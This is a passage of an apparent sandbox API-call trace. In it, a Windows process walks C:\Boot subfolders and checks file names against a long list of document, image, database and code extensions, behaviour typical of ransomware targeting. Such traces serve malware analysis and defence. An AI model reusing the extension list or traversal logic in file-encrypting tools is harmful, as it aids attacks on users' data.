[0060.953] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0060.953] lstrlenW (lpString=".dtd") returned 4 [0060.953] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".dwg") returned 4 [0060.953] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".dwt") returned 4 [0060.953] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".dx") returned 3 [0060.953] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0060.953] lstrlenW (lpString=".dxf") returned 4 [0060.953] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".edml") returned 5 [0060.953] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0060.953] lstrlenW (lpString=".efd") returned 4 [0060.953] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".elf") returned 4 [0060.953] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".emf") returned 4 [0060.953] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".emz") returned 4 [0060.953] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".epf") returned 4 [0060.953] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".eps") returned 4 [0060.953] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".epsf") returned 5 [0060.953] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0060.953] lstrlenW (lpString=".epsp") returned 5 [0060.953] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0060.953] lstrlenW (lpString=".erf") returned 4 [0060.953] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".exr") returned 4 [0060.954] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".f4v") returned 4 [0060.954] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".fido") returned 5 [0060.954] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0060.954] lstrlenW (lpString=".flm") returned 4 [0060.954] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".flv") returned 4 [0060.954] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".frm") returned 4 [0060.954] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".fxg") returned 4 [0060.954] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".geo") returned 4 [0060.954] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".gif") returned 4 [0060.954] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".grs") returned 4 [0060.954] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".gz") returned 3 [0060.954] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0060.954] lstrlenW (lpString=".h") returned 2 [0060.954] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0060.954] lstrlenW (lpString=".hdr") returned 4 [0060.954] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".hpp") returned 4 [0060.954] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".hta") returned 4 [0060.954] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".htc") returned 4 [0060.954] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".htm") returned 4 [0060.954] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0060.954] lstrlenW (lpString=".html") returned 5 [0060.954] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0060.954] lstrlenW (lpString=".icb") returned 4 [0060.955] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".ics") returned 4 [0060.955] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".iff") returned 4 [0060.955] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".inc") returned 4 [0060.955] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".indd") returned 5 [0060.955] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0060.955] lstrlenW (lpString=".ini") returned 4 [0060.955] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".iqy") returned 4 [0060.955] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".j2c") returned 4 [0060.955] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".j2k") returned 4 [0060.955] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".java") returned 5 [0060.955] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0060.955] lstrlenW (lpString=".jp2") returned 4 [0060.955] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".jpc") returned 4 [0060.955] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".jpe") returned 4 [0060.955] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".jpeg") returned 5 [0060.955] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0060.955] lstrlenW (lpString=".jpf") returned 4 [0060.955] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".jpg") returned 4 [0060.955] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".jpx") returned 4 [0060.955] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0060.955] lstrlenW (lpString=".js") returned 3 [0060.955] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0060.955] lstrlenW (lpString=".jsf") returned 4 [0060.955] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".json") returned 5 [0060.956] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0060.956] lstrlenW (lpString=".jsp") returned 4 [0060.956] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".kdc") returned 4 [0060.956] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".kmz") returned 4 [0060.956] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".kwm") returned 4 [0060.956] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".lasso") returned 6 [0060.956] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0060.956] lstrlenW (lpString=".lbi") returned 4 [0060.956] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".lgf") returned 4 [0060.956] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".lgp") returned 4 [0060.956] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".log") returned 4 [0060.956] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".m1v") returned 4 [0060.956] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".m4a") returned 4 [0060.956] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".m4v") returned 4 [0060.956] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".max") returned 4 [0060.956] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".md") returned 3 [0060.956] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0060.956] lstrlenW (lpString=".mda") returned 4 [0060.956] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".mdb") returned 4 [0060.956] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0060.956] lstrlenW (lpString=".mde") returned 4 [0060.956] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mdf") returned 4 [0060.957] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mdw") returned 4 [0060.957] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mef") returned 4 [0060.957] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mft") returned 4 [0060.957] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mfw") returned 4 [0060.957] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mht") returned 4 [0060.957] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mhtml") returned 6 [0060.957] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0060.957] lstrlenW (lpString=".mka") returned 4 [0060.957] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mkidx") returned 6 [0060.957] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0060.957] lstrlenW (lpString=".mkv") returned 4 [0060.957] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mos") returned 4 [0060.957] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mov") returned 4 [0060.957] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mp3") returned 4 [0060.957] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mp4") returned 4 [0060.957] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0060.957] lstrlenW (lpString=".mpeg") returned 5 [0060.957] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0060.957] lstrlenW (lpString=".mpg") returned 4 [0060.957] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0060.958] lstrlenW (lpString=".mpv") returned 4 [0060.958] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0060.958] lstrlenW (lpString=".mrw") returned 4 [0060.958] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0060.958] lstrlenW (lpString=".msg") returned 4 [0060.958] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0060.958] lstrlenW (lpString=".mxl") returned 4 [0060.958] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".myd") returned 4 [0060.958] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".myi") returned 4 [0060.958] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".nef") returned 4 [0060.958] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".nrw") returned 4 [0060.958] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".obj") returned 4 [0060.958] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".odb") returned 4 [0060.958] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".odc") returned 4 [0060.958] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".odm") returned 4 [0060.958] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".odp") returned 4 [0060.958] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0060.958] lstrlenW (lpString=".ods") returned 4 [0060.959] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".oft") returned 4 [0060.959] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".one") returned 4 [0060.959] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".onepkg") returned 7 [0060.959] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0060.959] lstrlenW (lpString=".onetoc2") returned 8 [0060.959] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0060.959] lstrlenW (lpString=".opt") returned 4 [0060.959] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".oqy") returned 4 [0060.959] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".orf") returned 4 [0060.959] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".p12") returned 4 [0060.959] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".p7b") returned 4 [0060.959] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".p7c") returned 4 [0060.959] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".pam") returned 4 [0060.959] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".pbm") returned 4 [0060.959] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".pct") returned 4 [0060.959] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".pcx") returned 4 [0060.959] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0060.959] lstrlenW (lpString=".pdd") returned 4 [0060.959] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pdf") returned 4 [0060.960] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pdp") returned 4 [0060.960] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pef") returned 4 [0060.960] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pem") returned 4 [0060.960] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pff") returned 4 [0060.960] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pfm") returned 4 [0060.960] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pfx") returned 4 [0060.960] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pgm") returned 4 [0060.960] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".php") returned 4 [0060.960] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".php3") returned 5 [0060.960] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0060.960] lstrlenW (lpString=".php4") returned 5 [0060.960] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0060.960] lstrlenW (lpString=".php5") returned 5 [0060.960] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0060.960] lstrlenW (lpString=".phtml") returned 6 [0060.960] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0060.960] lstrlenW (lpString=".pict") returned 5 [0060.960] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0060.960] lstrlenW (lpString=".pl") returned 3 [0060.960] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0060.960] lstrlenW (lpString=".pls") returned 4 [0060.960] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0060.960] lstrlenW (lpString=".pm") returned 3 [0060.960] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0060.960] lstrlenW (lpString=".png") returned 4 [0060.961] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".pnm") returned 4 [0060.961] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".pot") returned 4 [0060.961] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".potm") returned 5 [0060.961] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0060.961] lstrlenW (lpString=".potx") returned 5 [0060.961] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0060.961] lstrlenW (lpString=".ppa") returned 4 [0060.961] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".ppam") returned 5 [0060.961] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0060.961] lstrlenW (lpString=".ppm") returned 4 [0060.961] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".pps") returned 4 [0060.961] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".ppsm") returned 5 [0060.961] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0060.961] lstrlenW (lpString=".ppt") returned 4 [0060.961] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".pptm") returned 5 [0060.961] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0060.961] lstrlenW (lpString=".pptx") returned 5 [0060.961] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0060.961] lstrlenW (lpString=".prn") returned 4 [0060.961] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".ps") returned 3 [0060.961] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0060.961] lstrlenW (lpString=".psb") returned 4 [0060.961] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0060.961] lstrlenW (lpString=".psd") returned 4 [0060.961] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".pst") returned 4 [0060.962] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".ptx") returned 4 [0060.962] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".pub") returned 4 [0060.962] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".pwm") returned 4 [0060.962] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".pxr") returned 4 [0060.962] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".py") returned 3 [0060.962] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0060.962] lstrlenW (lpString=".qt") returned 3 [0060.962] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0060.962] lstrlenW (lpString=".r3d") returned 4 [0060.962] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".raf") returned 4 [0060.962] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".rar") returned 4 [0060.962] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.962] lstrlenW (lpString=".raw") returned 4 [0060.962] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0060.963] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.963] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.963] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0060.963] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.963] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.963] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.964] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.964] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.964] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.964] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0060.964] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.964] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.964] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.964] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0060.964] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.964] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.964] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0060.965] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.965] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.965] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.965] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.965] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.965] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.965] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, 